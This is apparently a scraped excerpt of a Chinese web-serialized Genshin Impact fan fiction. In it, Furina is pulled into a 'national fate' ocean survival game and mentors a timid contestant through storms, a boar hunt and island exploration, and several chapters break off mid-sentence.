《原神角色带徒弟,不死就行》 1. 第 1 章 《原神角色带徒弟,不死就行》全本免费阅读 【4042年到来,当蓝星的资源不足以再支撑他们发展的时候,国运战场,就是在此刻出现。 这一望无际的波涛埋葬了无数人的性命,每轮游戏一个国家仅仅一名代表参与,这样的制度几乎让所有人无望抵达那个游戏方口中所言的航线的终点——遗失的海国。】 “拜托了,让我再幸运一些吧,只要撑过这里……” 蓝海心一个人畏畏缩缩地躲在航船上,她已经是第十轮参赛者了,而夏国已经遭受了九次天灾。 每一次天灾之下,海水倒灌,人心惶惶,若非所有人上下一心抗洪,指不定像隔壁的国家一样,差点被水淹没。 其余国家的轮次只多不少,有一些几近灭国。 国家每次都有那么多准备充足的人员,怎么就选中一个她呢?一个废柴非酋大学生,有着豪言壮志的心,现实面前却无比从心。 十几亿人的直播里,蓝海心眼泪都快要流干了,外面的海浪一波借着一波,她所处的这艘船,一艘摇摇晃晃的、最多容纳十几人的破木船,就是她仅有的依靠。 说起来,在这场国运之战来临前,蓝海心的梦想是当一个大明星,凭借她的歌喉和她一张浓艳的脸,登上全世界最大的舞台。 全世界最大的舞台,是啊,谁能比得过国运战场直播的关注度?只不过……让人崩溃的是,此舞台非彼舞台啊! ‘为什么会选中她啊!一点用都没有,这一次怕是……’ ‘你行你上?哎,这一波是天王老子来了也没办法呀。’ ‘万一能挺过这波巨浪,说不定有望抵达下一个供给点呢?’ ‘这已经是多少个人了,这艘船才升级过四次,怎么挺过这波风浪?’ ………… 屏幕上吵得不可开交,蓝海心只能抱着船上的木杆子将自己尽可能地固定住,不至于在剧烈的摇晃里被甩出木船。 乌云笼罩在天空,飓风在海面上狂舞,优雅的暴风女士即使只是裙摆轻轻擦过,也让海域之中无数的人难以招架。 此时此刻,忽然一条巨兽从海底跃出,一声长鸣,又‘砰’地一下子砸落在海面,木船上的遮挡棚完全抵不过这样的威势。 蓝海心的天花板被打散,只有船体勉强在白浪里飘摇,海水倒卷,又从高处轰然堕落。 一番倾覆,蓝海心觉得,自己素未谋面的太奶好似已经在朝她招手了,抱着柱子的手也开始酸软无力,她真的要撑不住了。 而那第一只海兽飞过,海中轰隆隆地传来巨响,抬头一看,好像是——群体迁移? 一只又一只,蓝海心所待的地方着实倒霉,恰恰好,每次都能被溅开的水浪搏击,像是坐摇摇椅似的,直至木船飞舞到浪尖之上,看起来似乎即将垂直起降。 不出意外,是要被海浪打得粉身碎骨吧。 她知道直播屏幕就在不远处,此刻也只能闭上眼,自欺欺人,“对不起,对不起……” 直播里的人骂也有,但更多的还是苦笑着,哀叹一句运气不佳,暴风已经过去了,却遇上了这群海兽。 “喂,你们这群家伙,听听我的号令啊!温柔一点!” 乌云尚且没有退散,天空依然是一片暗沉的,巨兽之后,是一个看起来无比闪耀夺目的少女,她手里杵着一柄蓝色的手杖,优雅地行走于海面。 手杖轻点,刹那间,这个美丽的女孩如同海中的歌者,疯狂的海水因她而平息。 而那些像是疯了一样此起彼伏跳跃的海兽就像是遇见了驯养他们的主人,开始围绕着她在海平面下旋转、回还,看起来,它们没有坏心思,大概只是在撒欢? 即将落下的破旧木船被上升的海浪轻柔地托到海平面。 阳光洒下来,这一刻,不仅仅是蓝海心,直播里所有关注着这场命运之战的人全都看见了,优雅的神明站在一望无际的海面上,轻柔地摘下礼帽,向着这个幸存者致意。 “真有意思,愚昧而弱小的人类啊,拜服吧!你一生之中最大的幸运,便是有幸觐见你眼前所屹立于此的,众方、众水、众民与众律法的女王!此刻,为我高呼!” 她愉悦地大笑着,在无垠海面上如履平地,一步步优雅地走过来,看呆了所有人。 ‘!!国运战场里有土著吗?’ ‘那是……谁?’ ‘那是神明啊!你没听见她说吗?’ ‘大胆一点,国运都出现了,神明也——有可能的吧?’ …… 而芙宁娜已经快要走到船边上了,那个女孩子还是愣愣地,只会像只呆头鹅一样地看着她,一点台阶都不下,她都要蚌埠住了。 此时一只巨兽从海面一跃而起,芙宁娜站在它的头顶,海拔一下子拔高,此刻居高临下地看着眼前狼狈的女孩子,她双手杵着手杖,使了百分百的演技,一如她还是水神时的那般模样,但今时,不同往日。 她脸上的轻松气派,行走时的一派优雅,面子上的精致无比,可心里,芙芙要尖叫啦! 时间回到几个小时前,芙宁娜吃着她美味的糕点,想着阳光正好,要不要请旅行者同她一道逛逛,可是天空中忽然降下一道湛蓝的光柱,紧接着,大明星芙宁娜小姐她啊,就被一个自称助教系统的东西绑架了。 真是big胆,七神之中专挑软柿子捏! 她从温馨又舒适的家里,直接被绑到了这一望无际的海洋之上,若不是神之眼,她只能是落在水里哇哇大叫了。 而罪魁祸首,还在悠哉游哉地朝她自我介绍。 “芙宁娜小姐您好,我是助教系统7769,感谢您前来任教,希望未来的时间里,我们能好好配合。” “你、你是什么东西!竟然敢绑架我?!哼,若是不是说个一清二楚,你将会迎来神明的怒火!” 嘴上这么说,现实里芙宁娜已经是缩起了肩膀,可恶!旅行者、那维莱特、克洛琳德、娜维娅……谁都好,快来救救她! 这个自称助教系统的东西卡顿了一下,又把前面的话语复述了一遍,芙芙只觉得慌张、不信任加恼怒。 “什么老师?我可从来没有答应过我要当老师,更何况,想要拜枫丹万众瞩目的大明星,众方、众水、众民、与众律法的女王为师,若非英雄人物,谁有这个资格?” 芙芙干脆耍起了赖,坐在水泡泡上,任凭这个系统说烂了嘴,她也不肯挪一下步子,只嚷嚷着让系统把她哪里来的送回哪里,顺带还要呛它几句,让助教系统7769无言以对。 拉锯了半响,一道比7769更空灵的声音却在此时出现。 “芙卡洛斯——你想救她吗?” 莫名其妙地出现,却又道出芙宁娜心头的伤痛。 这个名字,让芙宁娜僵在了原地,好一会儿,她才一如既往,强撑着自己的高傲说,“可笑,我凭什么相信你?想要拯救一个逝去的神明,光是口头上说说可做不到。” 她可不是傻子,别想骗她! 那道声音夺取了7769的权限,暂时用它的身体与芙宁娜交谈,此刻听到她的质问,也只是笑了笑。 一颗水蓝色的棋子凭空显现,芙宁娜有些呆住了,那颗神之心中的权柄早已被归还给了那维莱特,仅剩的遗骸也被愚人众的执行官仆人带走,此刻怎么可能还能出现在她眼前。 “现在,作为预支的工资,这颗神之心曾经是权柄的显现,也是这被覆灭的海国权力的具现,我把它以你最熟悉的方式支付给你,你愿意相信我所言吗?” 芙宁娜看 2. 第 2 章 《原神角色带徒弟,不死就行》全本免费阅读 “你,你是神明吗?” 蓝海心看着弹幕上一条条划过的评论,心乱如麻,她甚至不知道自己该说些什么为好,万一触怒了她又该怎么办。 就现在的情况看来,眼前穿着浮夸得像是演舞台剧一样的女孩子既能在海面行走,又有那么多海兽簇拥,她要是不高兴,随随便便把她丢海里,那是真的冤啊。 “我乃是众水的神明,你可唤我芙宁娜大人,陌生的人,你又是从何而来呢?” “我、我来自夏国,那个……那个是想要去寻找失落的海国……你,你好,芙宁娜大人……” 蓝海心越说语言越颠三倒四,她的肌肤从脖子红到脸上,看得屏幕前的众人是怒其不争。 芙宁娜点点头,实际上,她也在仔细打量着眼前的少女,海兽做台阶,让她勉强站在了这个和小破船持平的地方。 只看着半天起不来的蓝海心,芙宁娜心里却在想,声音勉勉强强,比她还柔弱,怎么才能算赢得十亿的爱心值啊? 何况这偌大的海洋里,除了一群可爱的海兽,什么也没有,难道海兽也算? 这么想着,她的手杖轻轻点了点脚下海兽的头,它悠悠呜鸣一声,可可爱爱地晃一晃尾巴,让芙宁娜有些害怕的心不由得平静下来。 “咳咳,那么,出发吧!” 她指了指远方,眼神充满了急切,恨不能现在就能遇见路途上的万千海兽,然后让这个名为蓝海心的女孩子完成所谓的出师任务。 而还呆坐在甲板上的蓝海心只能以一副完全没有反应过来的样子,面露震惊,手指指着自己。 “啊?我们一起吗?” “不然你想做什么?何况,你这艘船已经完全不能航行了,到这里来。” 她原地轻点了一下手杖,圆圆软软的泡泡凭空出现,她则端坐在了巨兽上,这一只幸运的海兽将背部展露在海面上,看起来很高兴。 其它的海兽冲着这只幸运儿低声嘶鸣,让感知到它们在做什么的芙宁娜笑了起来,“唉,太受欢迎,也是种苦恼呢。” 蓝海心也在弹幕的催促下,慢吞吞地从已经快要散架的甲板上爬下来,一上来就听见这样一句话,不知怎么地,她突然憋不住笑意。 看起来,完完全全是一个傲娇可爱的中二少女嘛。 芙宁娜见状只瞥了一眼她,脸色似乎是在说‘你敢笑’,叫蓝海心瞬间收敛起了自己的笑容。 “航行的方向,你有么?” “啊,啊?没有。” 蓝海心茫然摇头,她的船都毁了,方向什么的,她可能会看头上的太阳确定一下方位吧,但是现在她连看时间的东西都没有,除了知道白天夜晚。 完蛋了,自己好像真的……很废柴。 芙宁娜也被一把噎住了,她低声哀叹一句,那维莱特,明明只是分别了一小会儿,她却无比怀念他们共事的那段时间。 兢兢业业的他能把一切都处理到位,而不是像现在,可怜的她带着一个傻呆呆的‘徒弟’,茫然无目的地奔走。 座下的海兽可不知道它喜爱的小人心里的悲伤,还在欢欢喜喜地负着她,朝着他们认为正确的方向游去。 “这里只有一望无际的大海,你是从哪里来的?为何独自航行呢?” 芙宁娜心头的郁闷无法言说,她也只好朝这个土著徒弟打探打探消息了。 实际上,双方都以为对方是这个世界的土著,此刻芙宁娜的提问反而问住了蓝海心,她眼神不自主地看向上方的弹幕,她该怎么回答芙宁娜的问题啊? ‘如实告诉她。’ ‘你也套一套她的话呀。’ ‘不要把希望寄予在一个陌生人身上啊!’ ……… 七嘴八舌的,一行行的字幕闪过,蓝海心的实现以及异常太明显了,芙宁娜皱起眉来,“你在看什么?” 她看不见弹幕!蓝海心转向她,支支吾吾的话更是说不清楚,一边是身前的压力,一边是身后弹幕的压力,她捂着自己跳动的心,最终还是艰难地开了口。 “是……是直播,我们都不是这个世界的人,是为了寻找所谓的海国遗迹,才被送到这里的。” “直播?” “就是有很多人在看着我们来着…” 她语气有些小心翼翼,生怕芙宁娜会反感这些。 很多人?原来如此,那万众瞩目一定也是算在里面吧? 芙宁娜有些不自在地打直了腰杆,不动声色的整理一下自己的发丝,又咳嗽两声,“哼,原来如此,想要在这里寻找到海国,你和你那艘破船?” 这语气实在有些不客气,不过她可不是看不起,实在是,这太好笑了,枫丹随便拎一艘巡航舰都要比那木船来得结实吧,就用这? 蓝海心尴尬一笑,“每一次抵达失落岛屿,国运游戏会自动升级来着,只不过我们找到的岛屿太少了。” 当然,即使是专业人才,比如y国的天选者,也不过升了五次,勉强变成了一艘铁皮船,天知道,他们刚开始还用的是竹筏啊,好在新手勉勉强强有点加成在里头。 越往后,就越是能感受到这一片海洋的广袤,在这里头寻找岛屿,没有方向,没有地图,还要沿途去寻找所谓的海国,这和拼运气有什么区别?大家都是那个无头苍蝇。 而她这艘木船最终还是变成了烂浮板,要不是遇上芙宁娜,下一个天选者替换上来,那就是更是地狱开局。 “岛屿?” 芙宁娜思索,总是依靠海兽也确实不方便,当务之急拥有一条船是必要的,但是她也没什么方向感,那要到哪里去找小岛呢? “呜——” 悠悠的鸣叫从海中传出,调皮的海兽一下子跃起,溅了芙宁娜和蓝海心一身的海水,这让芙宁娜轻声斥责了一句。 “傻孩子。”她哪里感知不到这些海兽的想法呢?想吸引她的注意,真是——难以消受的喜爱。 至于身后的蓝海心,她抹了一把脸上的水,还吐了一口,弹幕上一看,全是哈哈哈的嘲笑。 “芙宁娜大人,您有目的地吗?” 她有些小心翼翼,这群海兽要把她们带到哪里去啊? 芙宁娜哪里知道?但是这种话说出来,就太没有格调了,她单膝跪下,轻轻摸了摸底下海兽的脑袋,水神的神之心落入她手,这还是她第一次使用。 属于神明的权柄带给了她无限的便利。 水中的生灵敬爱她,潮水涌至,霎时间,这片大海都成为了她的后花园。 原来……是这种感觉吗?如果她当时有这份力量,芙卡洛斯说不定,就能活下来呢? 静下心来,芙宁娜,现在也不晚,这一次,该是她当英雄的时候了,去聆听海水的声音,这广袤的海域,将会是她不败的主场! 一圈圈的蓝色波纹荡漾开,蓝海心惊异地看过去,每一个水珠都好似在晃动,它们聚集在芙宁娜身旁,无需海兽们有何动作,水流自己流转起来。 可爱的海兽们心头疑惑,这些海水怎么一下子就把它们冲走了? “站稳了。” 话无疑是告诫蓝海心的,下一秒,强烈的推背感差点让她一仰头倒在海兽的背上,转瞬之间,她们便已经前行了很远,海水的流转告诉了她这附近最近的岛屿。 索性,芙宁娜操控着水流加快些速度,她想要有一个可以歇息的地方,现在这样一点都不方便。 一路奔驰,海风呼啸而过,蓝海心的发丝被风吹得纷纷扬扬,海天一色,照映在她们身上,夏国所有人都看 3. 第 3 章 《原神角色带徒弟,不死就行》全本免费阅读 “我、我吗?” 万众瞩目之下,蓝海心声音都是颤颤巍巍的,她只是想抱大腿,要是叫一句‘老师’,那岂不是—— 但是同时她又在想,这里是国运游戏,她什么也不会,优点没几个,缺点有点多,为人胆小怕事,演戏都怕别人骂她花瓶。 突然一个牛逼轰轰的大佬说要收她为徒弟,这简直有点危言耸听了,说是馋她腰子也不现实啊。 “不然呢?哼,只是个挂名的学生,你的能力,远远达不到能让我有丝毫认可的地方。” 芙宁娜的话也许是带着些傲娇,她心里并没有嫌弃蓝海心的意思,但是这话说出去,却让蓝海心松口气。 直播间的弹幕上一波波的全是起哄的声音,她自然也不再犹豫,为了少奋斗二十年,这个老师,她认了,就算芙宁娜看起来是个比她还要小一些的少女。 “老师!” 她眼神亮晶晶的,心头毫无防备,眼神与刚出炉的大学生如出一辙,至于芙宁娜能教她什么嘛,之后再论吧。 现在,还是探索这个岛屿更重要一些。 “你们之前每抵达一个岛屿,会探索这片陆地吗?” 芙宁娜有些好奇,她用手杖撩开那些灌木丛,遇见一些烦人的草叶便将其斩断,水元素的力量有柔自然也有刚,如此便能开出一条干净的小道。 “有些人会探索吧?他们甚至于就直接摆烂,开始在岛屿上生活,不准备再前行了,其实有时候这样也好,只要保证自己活着,背后的国家就不会被灾祸侵扰。” “这样么……”芙宁娜觉得有些奇怪,按理说这个什么国运游戏是为国家争取资源的啊,为什么会容忍这样躺平的选手呢? “不会有惩罚吗?” “并不会啊,其实有时候我都这么想这么干了,并不是所有人都有不顾一切扬帆起航的勇气的,苟活着不也挺好吗?当然了,如果踏上旅途,相应的也会有丰厚的回报,这都是相对的。” 选择了生存,放弃冒险,自然也就什么也得不到。 对于这样的选择,国运游戏甚至没有加以警告,而是随意放任,看来,这场游戏并不是什么强制性的存在,与其说是选手为资源而战,不如说是国运游戏提供了一个平台,各个国家的人们为自己的生路前行。 芙宁娜觉得以此来说,是时候教导她的学生第一课了。 “咳咳——作为我的学生,你可不能如此放纵自己。” 蓝海心点点头,抵达海国什么的,她自己还真的感觉自己无望,能有什么办法,除非芙宁娜真的把答案喂她嘴里,但是和老师说话嘛,她‘嗯嗯’两声,一如曾经的上学经历一样,跟着老师附和两句。 草木茂盛的岛屿里,像是蓝星奇幻小说里那些幻想中的场景一样,芙宁娜对此见怪不怪,毕竟提瓦特的风景比这更奇妙地也有。 但是蓝海心却一副刘姥姥进大观园的模样。 芙宁娜抬手扶了扶帽檐,侧耳倾听了些什么,她脸上露出一抹笑意。 “你一定很疑惑,作为你的老师,我能教导你一些什么吧?” 蓝海心点点头,她又专注地看着芙宁娜,当然,只是背影,这个不算高大的身形此刻却显得格外神秘。 “传说,高天之上有神明,大海的统治者,自然是众水的女王,水之神明欣赏着人类的一切,而行走在尘世,凡是有着强烈信念、渴望,意志坚定的人,都有机会得到神明的注视,此时,神之眼将会代表神明的肯定,来到人们的身边。” 经过了芙宁娜‘润色’的故事被她叙述出来,此刻,直播间不仅仅只有夏国的观众了,越来越多听到传闻的外国观众也来到了这个直播间,众人都在聚精会神地听着这个故事。 ‘我们也有可能得到神之眼吗?’ ‘神明要赐福于我们!’ “您的意思是,神之眼……我也能获得吗?” 蓝海心问出了所有人的心声,她心头有些不太确定,难道——上天真的要给她派发金手指了?苍蝇搓手。 “你想得还是太天真了,不得不承认,你确实很幸运,我有在注视你,但是——胆小怕事、懦弱动摇之人是无法获得神之眼的,收你为徒,只是我想看看,弱小之人的成长罢了。 想要变得强大,你的决心,远远不够,而想要抵达终点,你的力量,也微不足道。” 蓝海心急切的心跳渐渐缓了下来,似乎是有些冷了,但是,她其实并不是一个会轻言放弃的人,芙宁娜这么说,虽然只是一个可能,但是她似乎已经有了被初步认定的先决条件。 “我该怎么做才能得到认可呢?” 芙宁娜转头看着她,她不知道自己这样做对不对,助教系统告诉她,强者才能吸引目光,芙宁娜可以赢得所有人的热爱,是因为她本就有这样的潜质,身为人,她走到了极致。 那么蓝海心,她能否克伐恐惧,走出第一步,也许也应当要从拿起武器开始。 半空中显现下了一柄利剑,那是曾经旅行者使用过的黎明神剑,不过在他拥有了更厉害的武器时,这把剑便被赠送给她了,不过,芙宁娜也不太会使用,此刻她将积灰的它递给蓝海心。 “试炼的第一关,从勇气开始。” 这样一说,她已经闪身离开了这里,当然,原地留下了海薇玛夫人,她悄悄地藏在树丛后,如果蓝海心敌不了,那她自然能及时救下她,同时,她也充当了芙宁娜的眼睛,透过她观测到这里。 “助教,这样做真的可以吗?” “芙宁娜小姐,你要相信,人的潜力是无限的,这只是第一步,国运游戏,远没有现在这般简单。” “是吗?你是知道些什么?” “抱歉,这需要您和您的学生一起去发掘了。” 这个守口如瓶的系统只是让芙宁娜冷哼一声,之后,她便透过海薇玛夫人的视线观测蓝海心,比起在现场的‘学生’,其实她这个老师的内心更加忐忑,唯恐蓝海心生出什么事故,以致于这个教学大失败。 茂密的丛林里,她们来时的路已经被树荫遮挡,芙宁娜的离去让蓝海心惊叫一声,手里握住的黎明神剑自然成了她唯一的依靠。 ‘来去如风?’ ‘是考验吧?’ ‘真的,说变脸就变脸了。’ 有的人疑惑,有的人谩骂,但是蓝海心捏住剑柄,芙宁娜已经做了自己该做的了,她咽了咽口水,“我可以的,我可以的——” 虽然从前她是家里的乖乖女,外人眼里的娇气包,都快世界末日了,现在千万人眼里的救世主…… 蓝海心明显在脑子 4. 第 4 章 《原神角色带徒弟,不死就行》全本免费阅读 “对不起……”费力把野猪拖回海滩的蓝海心低着头,看着眼前坐着的芙宁娜。 芙宁娜将她单独留下来,说考验她的勇气,可是她却连挥剑的想法都没有,看见野猪的一瞬间,她心里就只想着逃跑了。 这便是平凡人的想法了,说什么只要带着点脑子便能行,那都是骗人的,蓝海心还能一时急智,爬上了树,这都比不少人强了。 是不是有点太苛刻了?芙芙想,她有时候还会被野猪创呢,不过,只是她一时大意,对!没错。 所以她也不算太严肃,只是摆摆手。 “第一次面对,下次再接再厉吧,你要知道,人都是会进步的,所以下一次,要比现在更出彩才是,不过,针对这个……也许,你应该有一个特训才是。” “诶?特训?”蓝海心圈圈眼,她一个五谷不分,四肢不勤的人,能挨过去吗? 芙宁娜其实并不会什么特训,只是听助教系统的建议啦,嗯,虽然这东西大用没有,但还是挺会出主意的啦,算它是五分之一个那维莱特吧! “对!特训,就——先把野猪处理了吧!” 她觉得,自己有些饿了,所以芙芙指挥得理直气壮。 要知道,以前外出郊游什么的,都有旅行者忙前忙后,要么是克洛琳德或者是娜维娅的关照,论生存,她好像只能保证自己活着…… 想到这里,她的大眼睛扑闪扑闪的,里面全是心虚,心头一级防备,一定不能被徒弟发现,她是一个生活上的废柴! ———— 两小时后,芙宁娜蹲在蓝海心后头,探头探脑地看,小表情满是不确定。 “你、你真的会杀猪吗?” 她看以前旅行者处理那些野猪,那都是“嗖嗖”地两下,肉质最鲜嫩的部位就片下来了,怎么到了她这里,这么麻烦? 两个人在沙滩前架上了一个大铁锅,这个锅子还是来自那辆船呢,此刻摆在这个露天的地方,下头是蓝海心去林子里捡的枯枝。 经过芙宁娜元素力的小小处理,此刻作为柴火点燃,高温把锅子里的水烧得咕噜咕噜响。 而蓝海心,她凝视着前头的这只猪,已经有好一会儿了。 不是她下不了手,而是她在研究弹幕上给她提供的杀猪方法,但是呢,真要动起手,她瞥了一眼地上死的透透的猪,又比划了一下手里的剑。 黎明神剑曾经好歹也是一把被人类冒险家奉为至宝的神剑,此刻——它如果有思想,真的会想哭了。 “我试试,我试试,凡事都有第一次,师父你别急——” 明明应该叫老师的,但是这师父一出口,莫名带了些喜剧效果,而蓝海心见芙宁娜没有反驳,叫得那是异常顺口。 此时看着地上的猪,她深呼两口气,最终做下了残忍的事情——一剑砍掉了野猪的脑袋,然后又把它拖去了海边。 活的她不敢动手,先拿一动不动的练练手,让它先前把自己吓得出大丑。 何况,有这把锋利的剑加持,蓝海心觉得,确确实实,下次要是还遇上,她说不定能试试反抗,反抗不了,也有师父搭救。 芙宁娜可不知道她心里的弯弯绕绕,只是看着一路血淋淋的过去,直到人走远了,她才缩了一下脖子,暗自和助教系统嘀咕。 “好血腥,好残暴。” 明明活着的时候她都不敢动手。 “这不是迈出了第一步吗?依照她原来的生活轨迹,她是真的猪都没杀过。” 所以,芙宁娜只要培养起她的自信、勇气,拥有了底气,她自然会力敌前路艰辛。 “很简单的,”助教系统说,它在尝试CPU芙宁娜,“您是谁啊?枫丹大明星,教一个学生而已,出师轻轻松松,没有压力。” “真的吗?” 别骗芙宁娜了,她太好骗了。 她呆坐着看着蓝海心在海边杀猪,不要的内脏什么的就地挖坑掩埋,自己帮不上,只能招呼着纯水精灵给那只猪远程洗一洗,再等蓝海心进行最后的处理,而后搬到船上,这就是航行的口粮之一了。 看着蓝海心来来回回忙忙碌碌地做事情,芙宁娜撑着脸看着她发呆,本来还好的…… 但是现在,她捂了捂肚子,已经等了很久了,她被‘强买强卖’过来的时候还在吃小茶点呢,如今…… “咕噜——咕噜——” 肚子里的鼓声震天响,芙宁娜眼巴巴地看着蓝海心架着锅熬油,不知道哪里找出来的锅碗瓢盆,香味传来,她是真的有些受不了了。 就算拥有神之心,她也还是个人好不好,是人都会饿的。 “小蓝,我们多久开饭啊?” “诶!?师父您饿了?别急,快了,快了,我请你尝尝我们夏国的口味。” 国运游戏每次找到资源,在升级的船只上都会配备一些吃穿用的东西,等级升得越高,东西也就越齐备,如今这些,大部分都被蓝海心搬了下来,在这个沙滩上大显身手。 活过了第一天,她现在是斗志昂扬,又起劲了,况且,人是铁饭是钢,身为夏国人,缺啥不能缺吃的。 她动手能力算强,又有芙宁娜召唤的纯水精灵帮忙跑腿,弹幕有时候会发一些有用的知识、小技巧,做饭手艺也算能拿得出手了,各种香料的加持下,闻着味确实挺香的。 而对于生活在枫丹的芙宁娜而言,这有些像是璃月菜,值得品尝,何况,经过一番洗脑,徒弟孝敬师父,天经地义,她一点都不丢人。 “味道怎么样,师父?” 慢条斯理享用了烤肉排的芙宁娜有些矜持地点点头,“嗯,还算不错。” 虽然就餐环境简陋,但是,这肉没有想象里的膻味,又被煎得外焦里嫩,吃起来真香啊。 吃饱喝足,夜色已经深了,两人又回到船上,这艘升级后的船上起码能容纳七八人,房间也够用,芙宁娜随便选了一间,选择在这里休息。 “那师父您休息啦,我、我也回房间了。” “嗯,去吧。” “那、那我走了?” “去呀?” 蓝海心看了眼比她矮一截的芙宁娜,有些一步三回头地走了,依依不舍的目光环绕着芙宁娜,看得她莫名其妙。 其实她只是害怕,万一一觉醒来发现芙宁娜消失不见,第二天她又是孤家寡人 5. 第 5 章 《原神角色带徒弟,不死就行》全本免费阅读 “回来了?耗时还是久了。” 芙宁娜打了个呵欠,又伸了伸懒腰,一点都没有为人师表的自觉,反倒是蓝海心,她费心又费力,还把早餐端了过来。 对于这位一见面就自称为众水的女王、且逼格满满的芙宁娜贪吃、懒床还迷糊的行为,蓝海心完全视而不见,毕竟她心里对芙芙的滤镜已经加满了,不仅仅是救命恩人,还是金大腿,她只恨不能一天二十四小时把她供起。 何况,孤独的海上有一位可爱、美丽的少女为伴,蓝海心就像是鲁滨逊找到了星期五一样,她很高兴芙宁娜愿意与她同行。 “我下次一定努力!师父,这是我煮的粥,您快吃!” 两人就坐在甲班上,不知道蓝海心哪里找来的几块木板子一搭,就是一个简陋的桌子,湿湿黏黏的海风吹来,两人的日子对比起别的在海上漂流的选手来说,那可谓是一片安宁。 芙宁娜却只觉得普普通通,这个环境太简陋了,还是得督促蓝海心提早能独当一面,成长起来才是,所以她把嘴一擦,勺子一放,就指挥起了她们接下来的行动来。 “小蓝,东西准备好,今天我们时间充裕,就往海岛深处探探吧!” 这异世界的岛屿里有什么,芙宁娜看起来可比蓝海心要好奇,她甚至于跃跃欲试。 在卸去了水神的担子以后,她甚至于想过去当一个冒险家,但是提瓦特的野外总是危机频出,如果不是无时无刻不在路过的旅行者,她可讨不了好,但是在得到神之眼后,她又因为忙于各种工作邀请而再没有去见识野外风光。 现在,勉强算是她的假日时刻,带着一个小弟去探险,她一夫当关万夫莫开,身后的徒弟再流露出崇拜的目光…… 哈哈哈哈哈…… “师父?师父?芙芙!” “什么?咳咳——大胆,不敬师长。” 陷入自己的脑补的芙宁娜一脸的神游天外,不知道脑子里想了什么,就傻白甜地笑起来,还是蓝海心出声打断,她才慢半拍地反应过来,带着一脸的不自在。 犯傻的时候被徒弟看见了,怎么办? “明明是我叫您,您一直不应我的,师父,我收拾好了,就这样——轻装上阵?” 蓝海心刚才去换了身衣服,又从物资里扒拉出一双耐穿一些的鞋,扎了个马尾,还背了一个包,再拿起黎明神剑,一幅精英探险家的模样,其实都是银样镴枪头。 至于芙芙,她无所谓,蓝海心虽然欲言又止但还是没有说话,也对,师父那样牛逼的人,她怎么能以平常人的目光去看待呢? 一前一后下了船,芙宁娜领头,两人又走入了那片树林里。 国运游戏开始已经有一段时间了,在这个看起来几乎99%都是海洋的游戏世界里寻找陆地,这些一座一座的海中孤岛怎么会不让人好奇呢? 这个游戏到底只是一座高等文明或者是神明造出的游戏,还是真实存在的世界,这里面是否有文明的存在,遗失海国究竟在哪里,这些岛屿上是否会有线索…… 最开始,这是所有人都探究的问题,直到人们发现深入岛屿毫无用处,沿途不仅猛兽险地众多,甚至有时候吃力不讨好,根本得不到什么回报。 久而久之,大家只把岛屿当做一个打卡点,所有人的目光还是聚集在海上,有时候人们甚至会猜测这个世界的文明是不是真的存在于海面之下? ‘很少有人去探索岛屿了。’ ‘也是,没事,活着就行,我们也不在乎这点时间了。’ ‘难道没有人好奇芙宁娜到底是从哪里来的吗?说是土著,她对这里也不太熟悉。’ ‘不管是神明,还是神使,她站我们这边就对了!’ 屏幕上的消息一条条划过,蓝海心捏捏眉心,现在想这些也根本毫无用处,她还不如跟紧些前方的芙宁娜,毕竟——这越往里走,灌木丛越来越多,树林茂密,芙宁娜娇小的身影有时候会被那些草木完全遮挡。 虽然这些灌木丛有一些烦人,但是有纯水精灵开道,没有什么路能阻拦她们,前路上的塌陷、陡坡都能轻松避开。 就是一片大的森林,除了各种动物,其它的都没什么,芙宁娜心里想的可怕怪物、神秘宝藏、惊险一刻……什么也没有。 “所以这个岛屿上除了野兽,也没有什么特殊怪物嘛。” 芙宁娜心头吐槽,助教系统闪了闪,它觉得自己有必要给这个新手老师提个醒。 “有没有可能,你们还没出新手村?千万年前,海国可是一个神秘而强大的文明。” 芙宁娜勾起嘴角,“哼哼,你露馅了吧?你果然知道些什么。” “……最好的办法,还是尽快让蓝海心获得神之眼,不然离开这片新手海域,他们才更加寸步难行。” 它摆烂了,有时候和芙芙斗智斗勇显得它像是一个笑话,世界意识啊,对不起了,它要投敌了,不然它害怕芙宁娜真的完不成这个任务,它也得耗死在这里,还不如提个醒。 “师父,你怎么停下来了?” 蓝海心此刻挤过那些藤蔓,跟着纯水精灵的足迹来到芙宁娜身旁,看着她一动不动,撑着下巴好似在撑死,不由得出言询问。 “没有必要了。” “什么?” “没有再探索下去的必要了。”芙宁娜转头看向她,“现在,该是你一个人往回撤退了。” 她笑得颇为恶趣味,先前她们来的时候路过了野猪的老巢,另一边虽然不知道是什么,但应该也是个大家伙。 芙宁娜对于蓝海心的武力值并不抱期望,但是她却觉得用这些来给她练练胆魄是非常好的工具,当然,她也不会说,看见蓝海心一路滋哇大叫、喊着爷爷奶奶饶命的时候,非常有意思。 蓝海心挠挠头,“那我往回走啦?师父,您、您可要庇佑我。” 虽然知道前路对她一个人来说,即使只是些野兽什么的,也是困难重重,但是昨日野猪那里,她看见了,师父的小精灵一只跟着她的。 这种感觉很安心,至于为什么让她一个人回去,大概也是——想要锻炼她吧。 她说上路也是真的上路,看着她消失的身影,芙宁娜才把现出身躯的系统捏住。 “快说,岛上有什么特殊的!” 昨天晚上她的感觉绝对没有错,岛屿上有一股莫名的力量吸引着她,但是当她走上这座岛屿的时候,却又什么也感受不到了,本以为是什么探险故事呢,走到最后找到宝藏什么的。 但是现在,知道秘密的系统在这里过于有存在感了。 她眼带威胁,虽然知道奈何不了它,但是芙芙有本事撂挑子不干了,反正被求的才是大爷。 “别捏了别捏了!我说好了。” 反正凭借芙宁娜和蓝海心两人,说不定真不一定能想到关键点去。 “每个岛屿都有一块地图碎片,它会指引天选者驶向下一个目的地,抵达真正的遗失海域。” < 6. 第 6 章 《原神角色带徒弟,不死就行》全本免费阅读 挥斥方遒的是芙宁娜,但当苦力的却是蓝海心。 谁会要求一个傲娇又强大、可爱且优雅的女孩子去做一些水手才能做的活?甚至于,这还是应该被供起来的金大腿。 蓝海心干脆包揽了一切,那些不会的都不要紧,她有万能的夏国网友,弹幕上的攻略教程层出不穷,这艘船呢也终于启航了。 其实要芙宁娜来说,她可以让海水推进船只的行走,也可以呼唤海底的巨兽帮忙,但是她想帮帮忙的时候,蓝海心却拒绝了她。 “师父,不论您在或者不在,我都应该学会自己驾驶航船,靠着你的帮助并不能使我成长,放心吧,我学东西很快的。” 这话是征服了芙宁娜,她带着‘你非常上进’的目光,悠悠然地转身走了,一直到没人的地方。 “这是个省心的好徒弟!我有预感,离她出师绝对不远了。” 芙宁娜像是智珠在握的模样,就差没学起隔壁须弥的草神或者是璃月的岩神那样,一看就充满了阅历与智慧的派头了。 